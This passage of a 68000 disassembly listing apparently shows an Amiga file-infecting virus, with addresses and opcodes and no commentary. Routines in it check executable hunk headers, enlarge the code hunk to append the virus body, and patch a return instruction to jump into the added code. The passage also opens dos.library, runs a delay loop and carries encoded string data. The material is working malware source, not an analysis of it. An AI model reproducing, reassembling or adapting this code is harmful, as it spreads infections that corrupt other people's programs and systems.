  584.     MOVEA.L    LAB_0066(PC),A5        ;5C4: 2A7A028C
  585.     MOVE.L    124(A5),D3        ;5C8: 262D007C
  586.     JSR    -42(A6)            ;5CC: 4EAEFFD6
  587.     CMP.L    124(A5),D0        ;5D0: B0AD007C
  588.     BEQ.S    LAB_0047        ;5D4: 670A
  589.     BRA.S    LAB_0048        ;5D6: 6042
  590. LAB_0045:
  591.     MOVE.L    D7,D2            ;5D8: 2407
  592. LAB_0046:
  593.     MOVE.L    D6,D1            ;5DA: 2206
  594.     JMP    -48(A6)            ;5DC: 4EEEFFD0
  595. LAB_0047:
  596.     MOVE.L    D6,D1            ;5E0: 2206
  597.     CLR.L    D2            ;5E2: 4282
  598.     MOVEQ    #-1,D3            ;5E4: 76FF
  599.     JSR    -66(A6)            ;5E6: 4EAEFFBE
  600.     BSR.S    LAB_004A        ;5EA: 6166
  601.     BNE.S    LAB_0048        ;5EC: 662C
  602.     DC.W    $263A            ;5EE
  603.     BCHG    D1,D4            ;5F0: 0344
  604.     BSR.S    LAB_0045        ;5F2: 61E4
  605.     BSR    LAB_0032        ;5F4: 6100FE44
  606.     LEA    LAB_0031(PC),A0        ;5F8: 41FAFE32
  607.     MOVE.L    A0,D2            ;5FC: 2408
  608.     MOVE.L    #$000004EC,D3        ;5FE: 263C000004EC
  609.     BSR.S    LAB_0046        ;604: 61D4
  610.     MOVE.L    D7,D2            ;606: 2407
  611.     MOVE.L    124(A5),D3        ;608: 262D007C
  612.     DC.W    $96BA            ;60C
  613.     BTST    D1,-(A6)        ;60E: 0326
  614.     DC.W    $D4BA            ;610
  615.     BTST    D1,-(A2)        ;612: 0322
  616.     BSR.S    LAB_0046        ;614: 61C4
  617.     BSR    LAB_0032        ;616: 6100FE22
  618. LAB_0048:
  619.     MOVE.L    D6,D1            ;61A: 2206
  620.     JSR    -36(A6)            ;61C: 4EAEFFDC
  621.     DC.W    $2C7A            ;620
  622.     DC.W    $02F6            ;622
  623.     MOVEA.L    LAB_0066(PC),A5        ;624: 2A7A022C
  624.     MOVE    #$FAB4,116(A5)        ;628: 3B7CFAB40074
  625.     MOVE.L    116(A5),D2        ;62E: 242D0074
  626.     DC.W    $223A            ;632
  627.     DC.W    $02FC            ;634
  628.     JSR    -186(A6)        ;636: 4EAEFF46
  629.     LEA    132(A5),A0        ;63A: 41ED0084
  630.     DC.W    $223A            ;63E
  631.     DC.W    $02F0            ;640
  632.     MOVE.L    A0,D2            ;642: 2408
  633.     JMP    -396(A6)        ;644: 4EEEFE74
  634. LAB_0049:
  635.     MOVEA.L    (ABSEXECBASE).W,A6    ;648: 2C780004
  636.     MOVEA.L    D7,A1            ;64C: 2247
  637.     JMP    -690(A6)        ;64E: 4EEEFD4E
  638. LAB_004A:
  639.     MOVEA.L    D7,A0            ;652: 2047
  640.     CMPI    #$03F3,2(A0)        ;654: 0C6803F30002
  641.     BEQ.S    LAB_004D        ;65A: 6704
  642. LAB_004B:
  643.     MOVEQ    #-1,D0            ;65C: 70FF
  644. LAB_004C:
  645.     RTS                ;65E: 4E75
  646. LAB_004D:
  647.     MOVE.L    8(A0),D0        ;660: 20280008
  648.     ADDQ.L    #5,D0            ;664: 5A80
  649.     LSL.L    #2,D0            ;666: E588
  650.     CMPI    #$03E9,2(A0,D0.L)    ;668: 0C7003E90802
  651.     BNE.S    LAB_004C        ;66E: 66EE
  652.     MOVE.L    4(A0,D0.L),D1        ;670: 22300804
  653.     CMP.L    20(A0),D1        ;674: B2A80014
  654.     BNE.S    LAB_004B        ;678: 66E2
  655.     ADDI.L    #$0000013B,20(A0)    ;67A: 06A80000013B0014
  656.     ADDI.L    #$0000013B,4(A0,D0.L)    ;682: 06B00000013B0804
  657.     LSL.L    #2,D1            ;68A: E589
  658.     ADD.L    D1,D0            ;68C: D081
  659.     ADDQ.L    #8,D0            ;68E: 5080
  660.     DC.W    $43FA            ;690
  661.     ANDI.L    #$2280D1C0,-(A2)    ;692: 02A22280D1C0
  662.     CMPI.L    #$54525369,-1184(A0)    ;698: 0CA854525369FB60
  663.     BEQ.S    LAB_004B        ;6A0: 67BA
  664.     MOVEQ    #-1,D2            ;6A2: 74FF
  665.     MOVEQ    #62,D0            ;6A4: 703E
  666. LAB_004E:
  667.     CMPI    #$4E75,-(A0)        ;6A6: 0C604E75
  668.     BEQ.S    LAB_0050        ;6AA: 6708
  669. LAB_004F:
  670.     DBF    D0,LAB_004E        ;6AC: 51C8FFF8
  671.     TST.L    D2            ;6B0: 4A82
  672.     RTS                ;6B2: 4E75
  673. LAB_0050:
  674.     MOVEQ    #124,D1            ;6B4: 727C
  675.     LSL.L    #1,D0            ;6B6: E388
  676.     SUB.L    D0,D1            ;6B8: 9280
  677.     BNE.S    LAB_0051        ;6BA: 6606
  678.     MOVE    #$4E71,(A0)        ;6BC: 30BC4E71
  679.     BRA.S    LAB_0052        ;6C0: 6008
  680. LAB_0051:
  681.     MOVE.B    #$60,(A0)        ;6C2: 10BC0060
  682.     MOVE.B    D1,1(A0)        ;6C6: 11410001
  683. LAB_0052:
  684.     MOVEQ    #0,D2            ;6CA: 7400
  685.     LSR.L    #1,D0            ;6CC: E288
  686.     BRA.S    LAB_004F        ;6CE: 60DC
  687. LAB_0053:
  688.     ORI.B    #$10,D0            ;6D0: 00000010
  689.     ORI.B    #$00,D0            ;6D4: 00000000
  690. LAB_0054:
  691.     BSR.S    LAB_0055        ;6D8: 611C
  692.     DC.W    $2C7A            ;6DA
  693.     DC.W    $023C            ;6DC
  694.     LEA    LAB_0069(PC),A1        ;6DE: 43FA0194
  695.     MOVE.L    A1,D1            ;6E2: 2209
  696.     MOVEQ    #-2,D2            ;6E4: 74FE
  697.     JSR    -84(A6)            ;6E6: 4EAEFFAC
  698.     MOVE.L    D0,D1            ;6EA: 2200
  699.     BEQ.S    LAB_0056        ;6EC: 6710
  700.     JSR    -90(A6)            ;6EE: 4EAEFFA6
  701.     BRA    LAB_0058        ;6F2: 600000AE
  702. LAB_0055:
  703.     DC.W    $4BFA            ;6F6
  704.     ANDI    #$4695,(A0)        ;6F8: 02504695
  705.     RTS                ;6FC: 4E75
  706. LAB_0056:
  707.     MOVEA.L    (ABSEXECBASE).W,A6    ;6FE: 2C780004
  708.     LEA    LAB_0068(PC),A1        ;702: 43FA015E
  709.     CLR    234(A1)            ;706: 426900EA
  710.     MOVEQ    #3,D0            ;70A: 7003
  711.     JSR    -552(A6)        ;70C: 4EAEFDD8
  712.     TST.L    D0            ;710: 4A80
  713.     BEQ    LAB_0058        ;712: 6700008E
  714.     LEA    LAB_006B(PC),A0        ;716: 41FA0162
  715.     MOVE.L    D0,190(A0)        ;71A: 214000BE
  716.     MOVEA.L    D0,A6            ;71E: 2C40
  717.     JSR    -210(A6)        ;720: 4EAEFF2E
  718.     TST.L    D0            ;724: 4A80
  719.     BEQ.S    LAB_0057        ;726: 676E
  720.     DC.W    $41FA            ;728
  721.     DC.W    $0212            ;72A
  722.     MOVE.L    D0,(A0)            ;72C: 2080
  723.     MOVEA.L    D0,A5            ;72E: 2A40
  724.     MOVE.L    8(A5),D0        ;730: 202D0008
  725.     MOVEQ    #1,D1            ;734: 7201
  726.     MOVEQ    #0,D2            ;736: 7400
  727.     MOVEA.L    16(A5),A1        ;738: 226D0010
  728.     MOVEA.L    (A1),A1            ;73C: 2251
  729.     MOVE.L    (A1),-28(A0)        ;73E: 2151FFE4
  730.     JSR    -30(A6)            ;742: 4EAEFFE2
  731.     DC.W    $41FA            ;746
  732.     BSET    D0,(A4)            ;748: 01D4
  733.     MOVE.L    D0,36(A0)        ;74A: 21400024
  734.     ADDQ.L    #1,D0            ;74E: 5280
  735.     BEQ.S    LAB_0057        ;750: 6744
  736.     SUBQ.L    #1,D0            ;752: 5380
  737.     MOVEQ    #16,D1            ;754: 7210
  738.     JSR    -54(A6)            ;756: 4EAEFFCA
  739.     TST.L    D0            ;75A: 4A80
  740.     BNE.S    LAB_0057        ;75C: 6638
  741.     BSR    LAB_005E        ;75E: 61000082
  742.     MOVE.L    D0,-(A7)        ;762: 2F00
  743.     DC.W    $203A            ;764
  744.     BSET    D0,(A2)+        ;766: 01DA
  745.     MOVEQ    #2,D1            ;768: 7202
  746.     JSR    -84(A6)            ;76A: 4EAEFFAC
  747.     DC.W    $203A            ;76E
  748.     BSET    D0,(A0)            ;770: 01D0
  749.     JSR    -120(A6)        ;772: 4EAEFF88
  750.     MOVE.L    (A7)+,D0        ;776: 201F
  751.     BNE.S    LAB_0057        ;778: 661C
  752.     DC.W    $2C7A            ;77A
  753.     BCLR    D0,(A4)+        ;77C: 019C
  754.     LEA    LAB_0069(PC),A1        ;77E: 43FA00F4
  755.     MOVE.L    A1,D1            ;782: 2209
  756.     MOVE.L    #$000003EE,D2        ;784: 243C000003EE
  757.     JSR    -30(A6)            ;78A: 4EAEFFE2
  758.     MOVE.L    D0,D1            ;78E: 2200
  759.     BEQ.S    LAB_0057        ;790: 6704
  760.     JSR    -36(A6)            ;792: 4EAEFFDC
  761. LAB_0057:
  762.     MOVEA.L    (ABSEXECBASE).W,A6    ;796: 2C780004
  763.     DC.W    $227A            ;79A
  764.     BCLR    D0,(A4)+        ;79C: 019C
  765.     JSR    -414(A6)        ;79E: 4EAEFE62
  766. LAB_0058:
  767.     BSR    LAB_0055        ;7A2: 6100FF52
  768.     DC.W    $2C7A            ;7A6
  769.     DC.W    $0170            ;7A8
  770.     MOVE.L    #$00007530,D1        ;7AA: 223C00007530
  771.     JSR    -198(A6)        ;7B0: 4EAEFF3A
  772.     BRA    LAB_0054        ;7B4: 6000FF22
  773. LAB_0059:
  774.     MOVE.L    #$000001FF,D1        ;7B8: 223C000001FF
  775. LAB_005A:
  776.     DC.W    $203A            ;7BE
  777.     BCLR    D0,D0            ;7C0: 0180
  778.     MOVEQ    #0,D2            ;7C2: 7400
  779.     RTS                ;7C4: 4E75
  780. LAB_005B:
  781.     MOVEA.L    LAB_0066(PC),A0        ;7C6: 207A008A
  782.     BSR.S    LAB_0059        ;7CA: 61EC
  783.     JSR    -78(A6)            ;7CC: 4EAEFFB2
  784. LAB_005C:
  785.     ADDQ.L    #1,D0            ;7D0: 5280
  786.     RTS                ;7D2: 4E75
  787. LAB_005D:
  788.     BSR.S    LAB_005A        ;7D4: 61E8
  789.     ANDI.L    #$000000FF,D1        ;7D6: 0281000000FF
  790.     JSR    -66(A6)            ;7DC: 4EAEFFBE
  791.     BRA.S    LAB_005C        ;7E0: 60EE
  792. LAB_005E:
  793.     MOVEQ    #0,D1            ;7E2: 7200
  794.     MOVEA.L    LAB_0066(PC),A0        ;7E4: 207A006C
  795.     BSR.S    LAB_005D        ;7E8: 61EA
  796.     BEQ.S    LAB_0063        ;7EA: 6752
  797.     BSR.S    LAB_005B        ;7EC: 61D8
  798.     BEQ.S    LAB_0063        ;7EE: 674E
  799.     MOVE.L    #$32323000,D0        ;7F0: 203C32323000
  800.     BSR.S    LAB_0065        ;7F6: 614E
  801.     BNE.S    LAB_0063        ;7F8: 6644
  802.     LEA    LAB_006D+1(PC),A0    ;7FA: 41FA0097
  803. LAB_005F:
  804.     LEA    LAB_006C(PC),A1        ;7FE: 43FA008C
  805.     CLR.L    D1            ;802: 4281
  806.     MOVE    192(A1),D1        ;804: 322900C0
  807.     MOVE.B    0(A1,D1.W),D1        ;808: 12311000
  808.     MOVEA.L    A0,A2            ;80C: 2448
  809.     ADDA.L    D1,A2            ;80E: D5C1
  810.     MOVE.L    A2,-(A7)        ;810: 2F0A
  811.     ADDQ    #1,192(A1)        ;812: 526900C0
  812.     BSR.S    LAB_005D        ;816: 61BC
  813.     BEQ.S    LAB_0062        ;818: 6722
  814.     DC.W    $323A            ;81A
  815.     DC.W    $0130            ;81C
  816.     CMP    #$0006,D1        ;81E: B27C0006
  817.     BGE.S    LAB_0060        ;822: 6C06
  818.     CMP    #$0005,D1        ;824: B27C0005
  819.     BGE.S    LAB_0061        ;828: 6C04
  820. LAB_0060:
  821.     BSR.S    LAB_005B        ;82A: 619A
  822.     BEQ.S    LAB_0062        ;82C: 670E
  823. LAB_0061:
  824.     MOVEA.L    (A7)+,A0        ;82E: 205F
  825.     DC.W    $343A            ;830
  826.     BTST    D0,(A2)+        ;832: 011A
  827.     CMP    #$0007,D2        ;834: B47C0007
  828.     BNE.S    LAB_005F        ;838: 66C4
  829.     BRA.S    LAB_0064        ;83A: 6006
  830. LAB_0062:
  831.     ADDQ.L    #4,A7            ;83C: 588F
  832. LAB_0063:
  833.     MOVEQ    #-1,D0            ;83E: 70FF
  834.     RTS                ;840: 4E75
  835. LAB_0064:
  836.     MOVEQ    #0,D0            ;842: 7000
  837.     RTS                ;844: 4E75
  838. LAB_0065:
  839.     MOVEA.L    LAB_0066(PC),A0        ;846: 207A000A
  840.     CLR.B    3(A0)            ;84A: 42280003
  841.     CMP.L    (A0),D0            ;84E: B090
  842.     RTS                ;850: 4E75
  843. LAB_0066:
  844.     ORI    #$64DC,(A3)+        ;852: 005B64DC
  845. LAB_0067:
  846.     DC.W    $646F            ;856
  847.     DC.W    $732E            ;858
  848.     DC.W    $6C69            ;85A
  849.     BHI.S    LAB_006E        ;85C: 6272
  850.     BSR.S    LAB_006F        ;85E: 6172
  851.     DC.W    $7900            ;860
  852. LAB_0068:
  853.     ADDA    A5,A4            ;862: D8CD
  854.     ADDA    A5,A7            ;864: DECD
  855.     ADDA.L    (A5)+,A2        ;866: D5DD
  856.     ADDA.L    (A3)+,A0        ;868: D1DB
  857.     AND.L    (A0),D7            ;86A: CE90
  858.     ADDA    (A7),A3            ;86C: D6D7
  859.     ADDA    A4,A4            ;86E: D8CC
  860.     ADDA.L    A4,A5            ;870: DBCC
  861.     DC.W    $C3BE            ;872
  862. LAB_0069:
  863.     ASL.L    #4,D4            ;874: E984
  864. LAB_006A:
  865.     ASR    -66(A7,A7.L)        ;876: E0F7F8BE
  866. LAB_006B:
  867.     ADDA    (A7),A3            ;87A: D6D7
  868.     ADDA    A2,A2            ;87C: D4CA
  869.     ADDA.L    A3,A7            ;87E: DFCB
  870.     MULU    (A1),D7            ;880: CED1
  871.     SUBA    A2,A2            ;882: 94CA
  872.     ADDA.L    A3,A7            ;884: DFCB
  873.     MULU    (A1),D7            ;886: CED1
  874.     SUBA    (A2)+,A2        ;888: 94DA
  875.     DC.W    $DFBE            ;88A
  876. LAB_006C:
  877.     CMP.L    -25672(A6),D2        ;88C: B4AE9BB8
  878.     DC.W    $8FBB            ;890
  879. LAB_006D:
  880.     DC.W    $BCF6            ;892
  881.     DC.W    $FFF2            ;894
  882.     DC.W    $F59E            ;896
  883.     DC.W    $CECC            ;898
  884.     MULS    (A7),D4            ;89A: C9D7
  885.     SUBA    (A2)+,A2        ;89C: 94DA
  886.     DC.W    $DFB3            ;89E
  887.     DC.W    $B0F3            ;8A0
  888.     DC.W    $FBF7            ;8A2
  889.     DC.W    $F69E            ;8A4
  890.     DC.W    $FCEC            ;8A6
  891.     DC.W    $F5F3            ;8A8
  892.     OR.L    D2,D0            ;8AA: 8082
  893.     ADDA.L    (A3)+,A3        ;8AC: D7DB
  894.     OR.L    -20(A3,A3.W),D2        ;8AE: 84B3B0EC
  895.     DC.W    $F9EE            ;8B2
  896.     ROR.L    #7,D6            ;8B4: EE9E
  897.     DC.W    $EEF1            ;8B6
  898.     OR.L    D2,D0            ;8B8: 8082
  899.     MULU    (A7),D6            ;8BA: CCD7
  900.     DC.W    $C8CB            ;8BC
  901.     DC.W    $C9C9            ;8BE
  902.     ADDA.L    A4,A2            ;8C0: D5CC
  903.     ADDA.L    A5,A0            ;8C2: D1CD
  904.     ADDA    (A1),A1            ;8C4: D2D1
  905.     DC.W    $CAFE            ;8C6
  906.     DC.W    $CECC            ;8C8
  907.     MULS    (A7),D4            ;8CA: C9D7
  908.     SUBA    (A2)+,A2        ;8CC: 94DA
  909.     ADDX.L    D0,D7            ;8CE: DF80
  910. LAB_006E:
  911.     DC.W    $B7B4            ;8D0
  912. LAB_006F:
  913.     DC.W    $FEFF            ;8D2
  914.     DC.W    $EEFF            ;8D4
  915.     DC.W    $B7B4            ;8D6
  916.     DC.W    $FBD0            ;8D8
  917.     ADDA.L    A2,A2            ;8DA: D5CA
  918.     ADDA    (A3)+,A1        ;8DC: D2DB
  919.     AND.L    (A6)+,D4        ;8DE: C89E
  920.     OR.L    D5,(A6)+        ;8E0: 8B9E
  921.     ADDA    (A7),A4            ;8E2: D8D7
  922.     MULU    (A3)+,D7        ;8E4: CEDB
  923.     AND.L    D4,(A6)+        ;8E6: C99E
  924.     MULU    (A6),D7            ;8E8: CED6
  925.     ADD.L    D7,(A6)+        ;8EA: DF9E
  926.     ADDA    A3,A7            ;8EC: DECB
  927.     DC.W    $C9CA            ;8EE
  928.     SUB.L    D5,(A7)+        ;8F0: 9B9F
  929.     SUBA    EXT_0002,A5        ;8F2: 9AF9C8DBDFCA
  930.     AND.L    (A6)+,D0        ;8F8: C09E
  931.     MULU    (A1),D7            ;8FA: CED1
  932.     SUBA    #$FFF1,A5        ;8FC: 9AFCFFF1
  933.     DC.W    $F69E            ;900
  934.     ADDA.L    (A0),A5            ;902: DBD0
  935.     ADD.L    (A6)+,D7        ;904: DE9E
  936.     DC.W    $F8F1            ;906
  937.     DC.W    $F1F1            ;908
  938.     ROXR.L    D4,D3            ;90A: E8B3
  939.     CMP.L    -112(A3,A3.W),D0    ;90C: B0B3B090
  940.     DC.W    $B7B4            ;910
  941.     DC.W    $EBEB            ;912
  942.     DC.W    $F3EA            ;914
  943.     DC.W    $B7B4            ;916
  944.     END
  945.